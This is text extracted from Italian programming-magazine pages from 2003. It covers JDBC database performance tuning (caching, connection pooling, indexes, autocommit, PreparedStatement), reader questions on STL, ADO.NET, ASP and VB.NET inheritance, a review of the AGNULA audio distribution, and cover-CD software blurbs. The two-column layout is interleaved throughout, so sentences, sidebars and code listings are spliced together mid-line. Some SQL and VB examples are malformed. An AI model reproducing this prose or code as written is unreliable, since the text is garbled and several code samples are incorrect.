prestazioni di un'appli- protected List elementi = new LinkedList();
cazione. static CodiciIVA instance = new CodiciIVA();
CACHE DELLE private CodiciIVA {
INFORMAZIONI load(); }
La miglior ottimizzazione possibile per l'accesso ai da- public static getInstance() {
ti è... non accedervi. Questo è un aspetto che spesso vie- return instance; }
ne sottovalutato, specialmente se il tempo per lo svi- public Iterator iterator() {}
luppo non è molto, ma con politiche di caching aggres- public String getDescrizione( String codice ) {}
sive è possibile migliorare molto le prestazioni di protected void load() {
un'applicazione. Il concetto di caching prevede il fatto //..caricamento dei dati }
che, una volta che una informazione è stata recuperata }
ed è presente in memoria nel processo che la utilizza,
non è più necessario ricaricarla dal database. Ad esem- In questo modo l'informazione viene memorizzata nel-
pio, si consideri una tabella di lookup per i codici IVA, la cache dell'applicazione. Alla seconda chiamata alle
da utilizzare ad esempio all'interno di un'applicazione informazioni relative all'IVA, l'applicazione non acce-
gestionale (Tab. 1). derò più al database per recuperare i dati.

122 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
122-125 JDBC 4-06-2003 16:18 Pagina 123

E E E E E E E E E A d v a n c e d E d i t i o n

CONNECTION POOLING che in merito proprio alle query SQL che vengono ese-
Il meccanismo del connection pooling è un classico guite dal programma. Un classico errore legato alle
stratagemma che viene utilizzato nelle applicazioni per prestazioni che si compie solitamente, è utilizzare l'a-
ottimizzare gli accessi al database, sopratutto in archi- sterisco (*) a sproposito:
tetture a tre livelli. Interviene nella fase di collegamen-
to al database, in particolare quando viene eseguita la SELECT * FROM Utenti;
seguente chiamata JDBC: Ottimizzare
Questa query ritorna tutte le colonne presenti nella ta- l’accesso ai DB
[Link]() bella Utenti (e tutte le righe): se la tabella è piccola, e le
righe e colonne servono tutte, e l'approccio e corretto,
La chiamata è dispendiosa, e può durare dal mezzo se- ma spesso si utilizza l'asterisco anche quando poi il co-
condo ai due secondi. Il pooling delle connessioni pre- dice JDBC estrae solo pochi campi dal RecordSet. Ad
vede la creazione, in fase di partenza del server, della esempio, un'applicazione potrebbe desiderare di cari-
creazione di un certo numero di connessioni al databa- care l'elenco dei codici prodotto con le relative descri-
se (pool di connessioni), che vengono poi riutilizzate zioni. In questo caso è meglio implementare una query
dai diversi utenti quando necessita un accesso ai dati. simile alla seguente:
Non esiste dunque una connessione al database per
ciascun utente, come tipico nelle architetture a due li- SELECT id, descrizione FROM Prodotti;
velli, ma una stessa connessione viene associata ad uno
specifico utente solo per il tempo necessario all'esecu- Lo stesso approccio è applicabile alle query di inseri-
zione delle operazioni sui dati ed immediatamente do- mento ed aggiornamento (INSERT ed UPDATE). Ad
po rilasciata tra quelle libere per una successiva riasse- esempio, in fase di aggiornamento di una tabella, è per-
gnazione ad un altro utente. JDBC 2 contiene al suo in- fettamente inutile aggiornare tutti i campi della tabella,
terno un metodo standardizzato per l'accesso ai pool di se è noto quali campi sono stati modificati, è meglio
connessioni gestiti dagli application server J2EE, come eseguire query mirate che coinvolgono solo i campi
ad esempio WebLogic e WebSphere. La classe DataSource modificati. Limitare il numero di campi gestiti nelle
consente infatti di ottenere connessioni al database non singole query SQL allegerisce notevolmente il carico di
direttamente fornite dal manager dei driver di databa- rete: si immagini una tabella di diversi megabyte, ma-
Limitare
se, ma dai pool dell'application server. gari con un grande numero di campi. Una SELECT
il numero
L'utilizzo di DataSource migliora notevolmente le pre- massiva costringe al marshaling (codifica) di una note-
dei campi
stazioni di un'applicazione a tre livelli. vole quantità di informazioni sulla rete, mentre una
in una query
SELECT come quella mostrata in precedenza, riduce Limitare il nume-
notevolmente il trasferimento dati richiesto. ro di campi gesti-
VALUTAZIONE DEL DRIVER ti nelle singole query
SQL allegerisce note-
Un aspetto che potrebbe influire sulle performance del-
l'applicazione è la natura e la marca del driver utilizza- ELABORARE volmente il carico di
rete: si immagini una
to per il database. Ad esempio, i driver JDBC di tipo 2 SUL LATO DATABASE tabella di diversi me-
sono di tipo nativo: il codice che dialoga con il databa- Ciò che è valido per le colonne, è anche valido per le ri- gabyte, magari con un
grande numero di cam-
se è nativo della piattaforma in uso. Contrariamente, ghe. Quando possibile, è opportuno impostare in mo-
pi.
driver di tipo 4 sono scritti completamente in Java e do accorto la clausola WHERE per ridurre il numero di
dialogano in rete con il server di database direttamen- righe ritornate. Ad esempio, al posto di identificare
te con il loro protocollo. Un database potrebbe avere quali record del database rientrano all'interno di un
entrambi i tipi di driver a disposizione, come avviene particolare range di date scorrendo il recordset ed ese-
ad esempio per Oracle. Solitamente, il codice nativo è guendo un confronto sulle date, è meglio far eseguire
solitamente più veloce, ma è necessario considerare questa operazione dal database, ad esempio con la
anche i costi relativi alla chiamata JNI, che non sono query seguente:
trascurabili. In realtà pare che non esistano molte diffe-
renza di prestazioni tra i due driver di Oracle; questo SELECT id FROM Prodotti WHERE Data_Creazione >= ?
però non significa che driver, di altre marche, non pos- AND Data_Creazione <= ?
sano fornire prestazioni migliori. Sul mercato sono in-
fatti presenti driver alternativi che possono offrono, in Un altro esempio di errore da evitare è l'unione dei da-
cambio del costo - rispetto alla gratuità di quelli pre- ti sul lato client al posto del database. Invece che ese-
senti con il database server - prestazioni migliori e ca- guire due query come le seguenti:
ratteristiche aggiuntive.
SELECT * FROM Impiegati;
SELECT * FROM Dipartimenti;
LIMITARE IL NUMERO
DI CAMPI e poi eseguire il collegamento dei dati a livello Java, è
Oltre ad approcci strutturali, è possibile intervenire an- meglio operare il join a livello di database:

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 123
122-125 JDBC 4-06-2003 16:18 Pagina 124

A d v a n c e d E d i t i o n G G G G G G G G

SELECT Impiegati.* FROM Impiegati E, Dipartimenti D pra possono essere riorganizzate come di seguito:
WHERE [Link] = [Link] AND [Link] = ‘MARKETING ’;
SELECT id FROM Prodotti WHERE Tipo='MT' AND
La regola generale è quella di ridurre il più possibile il Categoria=1;
numero delle righe e delle colonne ritornate, anche im- SELECT id FROM Prodotti WHERE Tipo='PF' AND
pegnando il database in query complesse, nonotante il Categoria=5;
Ottimizzare fatto che questo può comportare dei problemi che ve-
l’accesso ai DB dremo ora. Con un indice su Tipo, Categoria, le due query indicate
sono ottimizzate, per quanto riguarda la seguente:

UTILIZZARE GLI INDICI SELECT descrizione FROM Prodotti WHERE Categoria=1


Query complesse (ma anche semplici in realtà), posso- AND id=4 AND Tipo='MT';
no mettere in crisi il database, sopratutto per tabelle di
grandi dimensioni e quando le clausole WHERE im- può essere riorganizzata come segue:
plicano campi non contemplati dagli indici. Oracle, ad
esempio, quando si esegue una query con una clauso- SELECT descrizione FROM Prodotti WHERE Tipo='MT'
la WHERE e non esistono indici che trattano dei cam- AND Categoria=1 AND id=4;
pi inseriti nella condizione, esegue un full table scan, lo
scorrimento completo della tabella, alla ricerca delle e l'indice può essere cambiato per contemplare i cam-
informazioni di interesse. Anche DB2 ha un comporta- pi Tipo, Categoria ed id. In questo modo un singolo in-
mento simile. Ad esempio, una query come la seguen- dice potrà essere utilizzato da tutte e tre le query indi-
te, se nel database non sono specificati indici sul cam- cate, nei primi due casi, sfruttandone parzialmente le
po Tipo, esegue una scansione di tutta la tabella: informazioni, nel terzo caso utilizzandole appieno.

SELECT id FROM Prodotti WHERE Tipo='MT';

Regole SPOSTARE I DATI STORICI


Generali Per migliorare le prestazioni è sufficiente creare un in- SU ALTRE TABELLE
La regola genera- dice sul campo Tipo. In situazioni più complesse, come Spesso, ci si trova a che fare con applicazioni che uti-
le è quella di ri- in clausole WHERE con più campi, è necessario porre lizzano il database in modo incrementale: le informa-
durre il più possibile il
numero delle righe e
attenzione all'ordine di campi negli indici e nelle que- zioni non sono contenute in misura statica, ma vengo-
delle colonne ritornate, ry. Ad esempio, nella query seguente: no aggiunte man mano che l'operatore lavora. Ad
anche impegnando il esempio, un programma gestionale che tratta di fattu-
database in query com- SELECT id FROM Prodotti WHERE Tipo='MT' AND razione, con l'avanzare degli anni conterrà una quan-
plesse, nonotante il
Categoria=1; tità sempre maggiore di informazioni. Aumentando le
fatto che questo può
comportare dei proble- informazioni da gestire, il database rallenta le sue pre-
mi. è necessario definire un indice che coinvolga i campi stazioni. Per ovviare a questo inconveniente è possibi-
Tipo e Categoria. Ma se il programma, ad esempio in un le creare delle procedure di archiviazione per sgravare
altro punto, esegue una query simile ma non uguale, le tabelle dei dati "online" dei dati storici che magari
come la seguente: non servono più. Questo aspetto è da valutare dal
punto di vista applicativo poichè coinvolge in prima li-
SELECT descrizione FROM Prodotti WHERE Categoria=1 nea le funzionalità del programma, ma può essere uti-
AND id=4 AND Tipo='MT'; lizzato come approccio anche ad alto livello per mi-
gliorare le prestazioni.
L'indice creato per la prima query non è più utilizzabi-
le, ed il database è costretto ad una scansione comple-
ta della tabella. L'indice, non solo non è più valido per- DISABILITARE
chè è previsto un ulteriore campo nella clausola WHE- L'AUTOCOMMIT
RE, ma anche perchè l'ordine dei campi nella ricerca Per default, le connessioni al database hanno imposta-
non è il medesimo. Infatti, per il database, queste que- to il flag di autocommit: ad ogni query, viene eseguita
ry sono diverse: una commit sul database. Questo aspetto può costitui-
re sia un problema di performance, sia un problema di
SELECT id FROM Prodotti WHERE Tipo='MT' AND funzionalità. In merito alle performance, eseguire una
Categoria=1; unica commit al termine di una serie di operazioni di
SELECT id FROM Prodotti WHERE Categoria=5 inserimento e modifica dati, consente di ridurre il nu-
AND Tipo='PF'; mero di comunicazioni con il database server e questi
è in grado di ottimizzare le operazioni necessarie per
Molti database server (come Oracle e DB2) non sono l'esecuzione delle modifiche, come il lock delle righe e
infatti in grado di ordinare l'elenco dei parametri per delle tabelle necessarie. Per quanto riguarda l'aspetto
incontrare eventuali indici presenti. Le due query so- funzionale, è bene racchiudere le operazioni che ser-

124 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
122-125 JDBC 4-06-2003 16:19 Pagina 125

E E E E E E E E E A d v a n c e d E d i t i o n

vono ad eseguire una determinata funzionalità all'in- while( [Link]() ) {


terno di una unica transazione, in modo da essere si- int pos = 1;
curi che tutte le variazioni vengano eseguite in toto od String id = [Link](pos++);
annullate. Ad esempio, l'ipotetica sequenza di opera- String descrizione = [Link](pos++);
zioni seguente, esegue il prelievo di cinque euro da un //...
conto per versarli su un'altro. Questo è il tipo di ope- }
razione che non può interrompersi a metà, pena la Ottimizzare
"perdita" di denaro: In questo caso, spostare l'ordine dei campi richiede so- l’accesso ai DB
lo la modifica della query SQL e dell'ordine delle righe
BEGIN [Link]().
UPDATE saldo SET saldo-5 FROM Conti WHERE
id=2290110929
UPDATE saldo SET saldo+5 FROM Conti WHERE VALUTARE L'USO
id=1002939402 DI PREPAREDSTATEMENT
COMMIT Un'ultima strategia che è possibile adoperare per mi-
gliorare le performance dell'applicazione è la valuta-
L'operazioni di commit assicura che entrambe o nes- zione dell'opportunità di utilizzare Statement preparati
CallableStatement
suna delle operazioni venga eseguita. Per impostare il o stored procedure. Le tre possibilità per interagire con il I CallableState-
flag di autocommit in JDBC è possibile utilizzare il me- database sono infatti: ment, invece, for-
todo setAutoCommit() negli oggetti Connection. niscono migliori perfor-
mance se confrontati
• Statement. Esegue una query sul database.
non solo agli Statement,
• PreparedStatement. Precompila una query invian-
UTILIZZARE INDICI done le specifiche al database: essendo query pa-
ma anche ai Prepared-
Statement, quando sia
DI COLONNA NUMERICI rametrizzate, è possibile richiamarle più volte pas- possibile raccogliere
dietro una singola ri-
Un altro piccolo ma utile suggerimento è quello di uti- sando di volta in volta valori diversi per i parame-
chiesta un insieme di
lizzare i metodi per ottenere le informazioni dal Re- tri. operazioni complesse.
sultSet che si aspettano un numero come parametro. • CallableStatement. Consente di richiamare sto- Le operazioni sono in-
Ad esempio, nella porzione di codice seguente, vengo- red-procedure, programmi integrati nel database e fatti eseguite da stored
procedure, programmi
no recuperati i campi id e descrizione utilizzando i no- già compilati. Dovrebbero offrire le massime pre-
presenti all'interno del
mi delle colonne: stazioni al prezzo della flessibilità minore. database e che eseguo-
no conseguentemente
ResultSet rs = [Link]("SELECT id, I PreparedStatement solitamente vengono utilizzati nel punto più vicino ai
dati possibile. Lo svan-
descrizione FROM Prodotti"); quando è necessario eseguire una medesima query più taggio è che viene persa
while( [Link]() ) { volte, cambiandone solo i parametri. Ad esempio, la portabilità, in quanto le
String id = [Link]("id"); seguente istruzione SQL aggiorna la tabella Prodotti stored procedure sono
String descrizione = [Link]("descrizione"); impostando il prezzo di un prodotto: specifiche per lo specifi-
co database e sviluppa-
//...
te con il linguaggio pro-
} UPDATE Prodotti SET prezzo=? WHERE id=? prietario del medesimo.

Il driver di database è obbligato ad eseguire una ricer- In Java, è possibile implementare l'istruzione come se-
ca seriale all'interno del recordset per ottenere i campi gue:
richiesti. Se invece si utilizzano i numeri che indicano
la posizione dei campi indicati nella query, questa ri- PreparedStatement ps = [Link](
cerca non avviene: "UPDATE Prodotti SET prezzo=? WHERE id=?");
[Link](1,103);
ResultSet rs = [Link]("SELECT id, [Link](2,123);
descrizione FROM Prodotti"); [Link]();
while( [Link]() ) { [Link](1,99); Sul Web
[Link]/
String id = [Link](1); [Link](2,456);
javaperf/j2ee/[Link]
String descrizione = [Link](2); [Link]();
//... [Link]/
} Qui gli accessi al database sono tre: uno in fase di pre- %7Echamness/
jdbc_performance.ppt
parazione dello statemente e due in fase di esecuzione
ancora più pratico è l'utilizzo di un contatore, che con- dei due aggiornamenti. Con gli statement preparati si
sente di modificare l'ordine dei campi senza incorrere paga infatti lo scotto dello "scatto alla risposta", anche
in bug introdotti dal copia&incolla: se poi il database è in grado di eseguire in modo più
veloce le effettive utilizzazioni della query.
ResultSet rs = [Link]("SELECT id, Massimiliano Bigatti
descrizione FROM Prodotti"); max@[Link]

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 125
126-127 posta 31-05-2003 10:58 Pagina 126

I N B O X G G G G G G G G G G G G G G G G G G G

Liste e vettori in STL


INBox L’esperto risponde…
limiti delle liste consistono nel fatto
che occorre sempre accedere ai vari
if (op=="Crea")
{
G G G G G G G G G G G G G G G

G
entile redazione di elementi dal primo, in maniera sequen- var n = "Prova";
ioProgrammo, nel farvi i ziale e non random. var newCartella= [Link](n);
complimenti per la rivista, vi Per quanto possiamo semplificare il var fso = new ActiveXObject(
pongo questa domanda: meccanismo di accesso ai singoli ele- "[Link]");
Qual è la differenza tra list e menti, a livello di scrittura del codice, [Link](newCartella);
vector nelle librerie STL? la differenza prestazionale è tale da }
Virgilio Storione renderli molto meno efficienti rispetto
ai vettori. %>

O ccorre fare subito una premessa.


Nelle librerie STL, le liste, gli
array, le stringhe, ecc., sono trattati [Link] e MySQL
Ho provato il codice su Windows
Me e Personal Web Server e
come casi speciali di una classe generi- G G G G G G G G G G G G G G G tutto funziona. Cosa devo fare

G
ca (contenitore) per la memorizzazione entile Redazione di per far funzionare il tutto anche
di elementi, che permetta di scorrere ioProgrammo, vi sottopongo sulla mia macchina (Windows XP
tra questi, accedendo ad un elemento un dubbio che mi affligge da Professional + IIS)?
per volta, tramite un meccanismo detto qualche tempo. Lettera non firmata
iteratore. Vorrei capire come è possibile
(e/o se è possibile) collegarsi
Apparentemente, non vi sono sostan-
ziali differenze tra oggetti list e oggetti
vector. In ambo i casi, infatti, sono pre-
attraverso la tecnologia ADO
.NET a un database MySQL.
P remesso che lo script funziona e
può essere riutilizzato, l’unica dif-
ferenza tra Personal Web Server ed IIS
viste operazioni di memorizzazione, di Grazie. risiede nello stabilire i permessi di
cancellazione, di accesso mirato. Federico Bettini scrittura per la cartella (o nella risorsa)
Inoltre, con una piccola implementa- in cui si vuole creare la nuova cartella
zione aggiuntiva, per le liste possiamo
prevedere operazioni matematiche si- P urtroppo, mentre ADO .NET sup-
porta le connessioni ai database
Access, SQL Server e Oracle, attual-
(start /Impostazioni/Pannello di control-
lo/Strumenti di Amministrazione/Ge-
stione servizio Internet Microsoft).
mili a quelle caratteristiche dei vettori:
somma, differenza, prodotto scalare, mente non è previsto il supporto per
prodotto vettoriale, ecc… oltre alle altri DBMS, MySQL compreso. In atte-
normali operazioni di ricerca e di ordi- sa del rilascio dei driver OLEdb fun-
namento. zionanti sotto [Link], per connetter-
Ciò che differenzia sostanzialmente la ci ad un database MySQL è necessario
classe list dalla classe vector risiede utilizzare i driver [Link], non pre-
nelle proprietà intrinseche che hanno senti nel framework di .NET ma che
sempre caratterizzato vettori e liste possono essere scaricati dal sito Mi-
concatenate. I primi permettono l’ac- crosoft.
cesso diretto ad uno qualsiasi degli ele-
menti. Hanno di solito una dimensione
stabilita (anche a runtime), che può Creare directory in ASP
però essere modificata nel caso di vec- G G G G G G G G G G G G G G G

H
tor delle librerie STL. o la necesità di creare delle
Le liste sono state implementate innan- directory tramite pagine
ASP ed ho utilizzato questo Fig. 1: Spuntando la voce Scrittura,
zi tutto per il superamento dei limiti di
abilitiamo l’utente alla scrittura nella
memoria dello stack (640 Kb) nei primi codice: cartella predefinita del sito web.
PC, giacché attingevano alla memoria
dinamica. Inoltre, per risolvere quei <" CODEPAGE="1252"%>
problemi in cui non si può conoscere o <% Selezionando la voce Sito Web predefini-
stimare a priori la dimensione della var op = new String( to, clicchiamo sul tasto destro del
struttura dati. I [Link]("open")); mouse e scegliamo la voce Proprietà.

126 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
126-127 posta 31-05-2003 10:59 Pagina 127

G G G G G G G G G G G G G G G G G G G I N B O X

Nel tab Home Directory, spuntiamo la Public Property Get Area() As Integer re una funzione della classe base,
voce Scrittura. Area = m_objRettangolo.Area all’interno della classe derivata, me-
Naturalmente, questa operazione vale End Property diante overriding od overloading del
per tutti gli utenti abilitati ad usare il metodo della classe base, secondo che
servizio web (in genere il gruppo power Public Property Let Area(Lato As Integer) si voglia rimpiazzare il metodo con
user) e che hanno i permessi per acce- m_objRettangolo.m_Area = Lato^2 uno ex novo o che se ne vogliano crea-
dere alla cartella principale. End Property re altri. Nel caso di, overload, otteremo
qualcosa di simile:
Private Sub Class_Inizializza()
Questioni di ereditarietà Set m_objRettangolo = New CRettangolo
G G G G G G G G G G G G G G G End Sub Public Class CQuadrato

S
alve! Nel complimentarmi …
con tutta la redazione per Il problema principale di questo mec- Public Overloads Property Area() AS Integer
l’ottima rivista, vi chiedo di canismo consiste nel fatto che per la Get
illustrare le principali differenze classe derivata non è possibile modifi-
tra il meccanismo di ereditarietà care l’implementazione di un metodo Return m_Area
implementato su VB .NET della classe base senza modificare la End Get
rispetto a Visual Basic 6. classe base stessa, con tutti i problemi Set(ByVal Lato As Integer)
Grazie! che ne conseguono nel caso la classe M_Area = Lato^2
Andrea Liguori base sia utilizzata in diverse classi di End Set
un progetto, e tenendo conto comun- End Property
que, che occorre riscrivere codice in …
I l meccanismo previsto da VB 6 per
implementare l’ereditarietà, molto
rozzo nonché limitato, è noto come tec-
questo caso.
Visual Basic .NET implementa invece
End Class

nica di aggregazione. Per spiegarci con un meccanismo molto semplice. Nel caso di overriding, invece, nella
un esempio, consideriamo una classe Partiamo sempre dalla nostra classe classe base occorre prima dichiarare la
CRettangolo, dotata di alcune proprietà base: possibilità che sul metodo venga effet-
e di metodi: tuato un overriding:
Public Class CRettangolo
Private m_Area As Integer Public Class CRettangolo
' Classe CRettangolo
Public Property Area() As Integer …..
Private m_Area As Integer Get
Public Property Let Area(Lung As Integer, Return m_Area Public Overridable Property Area() As Integer
Larg As Integer) End Get …
m_Area = Lung*Larg Set(ByVal Lung As Integer, ByVal Larg End Property
End Property As Integer)
M_Area = Lung*Larg End Class
Public Property Get Area() As Integer End Set
Area = m_Area End Property Public Class CQuadrato
End Property End Class …
Public Overloads Property Area() AS Integer
Supponiamo che una nuova classe (ad Per creare una classe derivata, basta Get
esempio CQuadrato) voglia ereditare aggiungere una o più nuove classi ed
proprietà e metodi della classe, è usare la parola chiave Inherits: Return m_Area
necessario creare al suo interno un og- End Get
getto di tipo CRettangolo, delegando a Public Class CQuadrato Set(ByVal Lato As Integer)
questo le operazioni con metodi e pro- Inherits CRettangolo M_Area = Lato^2
prietà della classe base. Per essere sicu- End Class End Set
ri che la classe derivata (CQuadrato) End Property
implementi tutti i metodi e le proprietà Quando si usa la classe CQuadrato, …
della classe base (CRettangolo), possia- questa espone tutte le proprietà e i End Property
mo usare la parola chiave Implements: metodi di CRettangolo.
Ricordiamo inoltre che all’interno di
' Classe CQuadrato Visual Basic .NET ciascun oggetto ere- Per contattarci:
dita in maniera esplicita o implicita e-mail: iopinbox@[Link]
Implements CRettangolo dall’oggetto [Link], esponendo- Posta: Edizioni Master,
ne tutti i metodi pubblici. Via Cesare Correnti, 1 - 20123 Milano
Private m_objRettangolo As CRettangolo A questo punto, se vogliamo modifica-

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 127
128 Sito del mese 31-05-2003 10:59 Pagina 128

I L S i t o d e l m e s e G G G G G G G G G G G G G

Agnula
[Link]

S
e siete appassionati tanto di musica album, che per quanto siano produzioni ama- nome stesso lo lascia intendere). Dunque,
quanto di informatica, è probabile che toriali, contano sempre su una qualità audio tutte le parti di AGNULA sono licenziate
abbiate già sperimentato la fusione dei di ottima fattura: appena qualche anno fa, era come Software Libero, sotto GPL o altre licen-
due interessi, impiegando un computer per impensabile poter ottenere risultati equiva- ze analoghe. Dentro AGNULA trovate tutto
comporre o registrare le vostre opere. Perso- lenti senza recarsi in studi specializzati e quello che vi può essere utile per fare e per
nalmente, lo ho fatto in numerose occasioni. senza sborsare una più che discreta quantità ascoltare musica con Linux: software per la
I PC sono strumenti tanto generici da poter di soldi. Naturalmente, ci vuole del software registrazione, banchi mixer, effetti per il ritoc-
contare sulle dita di una mano i settori in cui apposito. Non è che sia possibile incidere un co delle tracce, e così via. Troverete tutto quel-
non tornano utili in alcuna maniera. Essendo album servendosi del registratore di suoni di lo che vi occorre per gestire le sequenze MIDI,
appassionato di musica rock, non uso il com- Windows... Qui comincia il dilemma che ci fa nel caso sia questo il vostro interesse, per scri-
puter per comporre le mie canzoni. Preferisco vorticosamente tornare al nostro lavoro di vere ed eseguire spartiti, per creare suoni sin-
la chitarra, la mia (scarsa) voce, tetizzati e molto, molto altro
insieme con un foglio di carta ed ancora. In sostanza, AGNULA
una matita per buttare giù la comprende un'intera suite di
prima bozza del testo. Quando applicazioni per l'elaborazione
l'idea raggiunge una parvenza dei segnali audio, immediata-
di completezza, ecco che le tec- mente e completamente a dispo-
nologie digitali entrano in gioco. sizione dell'utente. Se poi siete
Per prima cosa, è necessario che programmatori, meglio ancora:
gli altri membri della band la disponibilità dei sorgenti e le
ascoltino il brano, per arricchirlo licenze di tipo Free Software per-
con i loro più specializzati inter- mettono lo studio e la modifica
venti. Dunque, bisogna registra- di ogni singolo componente.
re un provino di base del pezzo, Insomma, AGNULA è un ottimo
per poi distribuirlo al gruppo. progetto per tre differenti moti-
Una volta discussi e provati gli vi: permette di avere tutti i
arrangiamenti, viene il momento di un secon- informatici. Quale sistema operativo sceglie- software necessari alla produzione musicale
do provino, che possa garantirci la bontà del re? Quali software? Come al solito, abbiamo (punto di vista del semplice utente), consente
materiale escogitato. Così, il computer torna diverse possibilità. Ci sono i sistemi Windows il loro studio (punto di vista dell'appassiona-
alla ribalta, con software un po' più comples- o, meglio ancora per questo settore, ci sono i to) e concede la libertà di modifica (punto di
si, che permettano sovraincisioni e piccoli Macintosh della Apple. Ambo le piattaforme vista del pragmatico programmatore, "quan-
ritocchi di base. Quando si hanno sufficienti contano su una nutrita schiera di software do il gioco si fa duro..."). Sin da ora, benché il
provini di senso compiuto da poter realizzare dedicati all'elaborazione dei segnali audio, progetto non abbia ancora completamente
un intero album, possiamo entrare ufficial- più o meno tutti di natura strettamente com- raggiunto i propri scopi, è possibile scaricare
mente nel nostro amatoriale studio di regi- merciale. Orientandosi sulle macchine di tra- parecchi materiali, comodamente in down-
strazione. Lo studio è composto da numerose dizione UNIX, come Linux, possiamo invece load all'interno del sito segnalato. Concludo
attrezzature per la registrazione: mixer, far valere maggiormente le nostre competen- con una segnalazione inerente al tema. Se
amplificatori, effetti, microfoni a condensato- ze di programmatori. AGNULA, acronimo di state guardando con interesse alla piattafor-
re e così via. Ciononostante, tutto orbita intor- "A GNU/Linux Audio Distribution", è il ma Linux per la vostra produzione musicale,
no ad un comune PC (neanche troppo moder- nome di un progetto tutto europeo, che coin- ma non sapete proprio da dove cominciare,
no), che di particolare ha solo una buona volge diversi autori nostrani (la coordinazio- HOPS Libri distribuisce un pratico volume
scheda audio, pensata proprio per l'home ne dei lavori è affidata al Centro Tempo Reale introduttivo. Il titolo è "Linux: musica &
recording. Tutte le tracce registrate conflui- di Firenze, [Link] suoni", il codice ISBN 88-8378-020-5. Il volu-
scono digitalmente nel disco rigido della Scopo finale dell'attività è realizzare due me presenta ed illustra i principali software
macchina, dove vengono ritoccate, ulterior- distribuzioni Linux, una derivata da Debian, Linux dedicati alla produzione audio. Lo tro-
mente effettate e mixate. Una volta completa- l'altra da Red Hat, dedicate completamente vate nelle librerie specializzate, oppure pote-
to un buon set di brani che costituiscono un alle applicazioni multimediali per l'audio, sia te ordinarlo via Web, partendo dall'indirizzo
corpus unico, non resta che equalizzare i per un target professionale sia per gli hobbi- [Link]
risultati, aggiustare i volumi e riversare su sti. Come è lecito aspettarsi, l'intero progetto 020-5.
CD l'opera completa. Così nascono i nostri non tradisce i dettami della filosofia GNU (il Carlo Pelliccia

128 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
015-025 soft 4-06-2003 10:50 Pagina 129

G G G G G G G G L ’ A L T R O S O F T W A R E S U L C D

Aqua Data Studio 3.0.3 ca e sostituzione ed è possibile effettuare il con- santi le funzioni di analisi per il transito di pac-
Un potente tool per amministratori di databa- fronto fra porzioni di file, calcolare il checksum chetti IP, e per il controllo dell’attività su SQL
se che consente di editare ed eseguire script ed altro ancora. Molto curata la sezione visuale Server. Versione di prova valida quindici gior-
SQL oltre che consentire una agevole naviga- dell’applicazione che consente di controllare e ni.
zione nelle strutture dei più complessi databa- modificare i dati nel maniera più intuitiva. Gra- [Link]
se. Aqua Data Studio mette a disposizione de- zie a questa rappresentazione la gestione di file
gli utenti un potente ambiente di sviluppo in- esadecimali si presenta molto più semplice e ve- Liatro Binary Explorer 1.0
tegrato che può fare da interfaccia a tutti i prin- loce. Versione trial valida 35 giorni. Un tool di livello professionale attraverso cui
cipali database presenti sul mercato, consen- [Link] ispezionare dati in esadecimali all’interno di
tendo l’esecuzione di più operazioni simulta- una struttura ad albero che ne semplifica note-
neamente su più database e attraverso un am- REAL basic for Windows 5.1 volmente la comprensione. Sono supportati
biente coerente e ben strutturato. Degno di Un ambiente di programmazione che rende di- numerosi formati per file multimediali. Versio-
menzione risulta essere il Query Analyzer che sponibile, anche ai meno esperti, la possibilità ne di prova valida trenta giorni.
mette a disposizione un editor con un syntax di sviluppare applicazioni in pochissimo tem- [Link]
highlighting studiato specificamente per gli po, grazie anche alla ricca documentazione, ai
RDBMS e con avanzate funzioni di auto-com- numerosi tutorial e agli esempi inclusi. Oltre ad JProfiler 2.2
pletamento che velocizzano notevolmente il offrire la possibilità di importare codice e form Un sistema semplice ed efficace per testare le
lavoro degli sviluppatori. La possibilità di ana- da Visual Basic, REAL basic consente di compi- prestazioni di applicazioni Java, sia J2SE sia
lizzare per via grafica la struttura dei Database lare le applicazioni sviluppate, oltre che per J2EE. Le indagini alla ricerca dei colli di botti-
consente una più semplice interpretazione dei Windows, anche per Mac OS 8, Mac OS 9 e Mac glia coinvolgono più campi: utilizzo della
dati e delle correlazioni. Aqua Data Studio può OS X. Versione dimostrativa valida trenta gior- CPU, occupazione della memoria e distribu-
salvare i risultati delle query in numerosi for- ni. Al primo avvio è necessario cliccare su “Get zione del carico fra i thread. Versione di valu-
mati, compresi HTML e XML. Versione di va- a demo Key” per ottenere una chiave valida. tazione valida dieci giorni.
lutazione valida novanta giorni. [Link] jprofiler_windows_2_2_1.exe
[Link]
Edit Ease Pro 4.0a DreamMaker 1.1
GNU Compiler Collection 3.3 Un utile pacchetto di manipolazione del testo Utilizzando il vocabolario inglese per le istru-
C, C++, Objective-C, Ada, Fortran, e Java: que- che consente di convertire documenti da qual- zioni e la stessa grammatica inglese per la pun-
sti sono i linguaggi supportati in questa colle- siasi formato in formato ASCII testuale. L’edi- teggiatura e la sintassi, questo simpatico (e
zione. Particolarmente curata la sezione Java: i tor incluso è ricco di funzionalità e può essere gratuito) ambiente di programmazione sem-
packages [Link] e [Link] implementano ora un’ottima scelta per gli sviluppatori. Versione bra realizzare un vecchio sogno: avere un com-
le API JDBC 3.0, sono state implementate le as- di prova, risulta disabilitata la funzione di sal- puter che capisca il linguaggio umano. Un ap-
sertion, e l’interprete di bytecode è stato reso vataggio. proccio originale alla programmazione.
più veloce. Sempre ottima e copiosa la docu- eep_demo_4x.exe [Link]
mentazione allegata.
[Link] BulletProof Astrum InstallWizard 1.94
JDesignerPro 5.0 Astrum InstallWizard è un versatile software
3D GameStudio / A6 6.0 Con il supporto per i JavaBean, JDesignerPro si per la creazione di pacchetti di installazione.
Giù utilizzato per lo sviluppo di oltre trecento presenta come un potente strumento per la Semplice da utilizzare, grazie all’interfaccia ri-
giochi commerciali, 3D GameStudio è un otti- crazione di applicazioni intranet e Internet che solta completamente in un wizard, non rinun-
mo ambiente per la realizzazione di applica- facciano massiccio uso dell’accesso a database. cia alla completezza comprendendo il suppor-
zioni real time in due e tre dimensioni. L’editor Versione di prova limitata a 90 giorni. to per file JPEG ed MP3. È possibile utilizzare
visuale per modelli e mappe si affianca ad un Jdp5_0.exe variabili utente, dividere i file di installazione
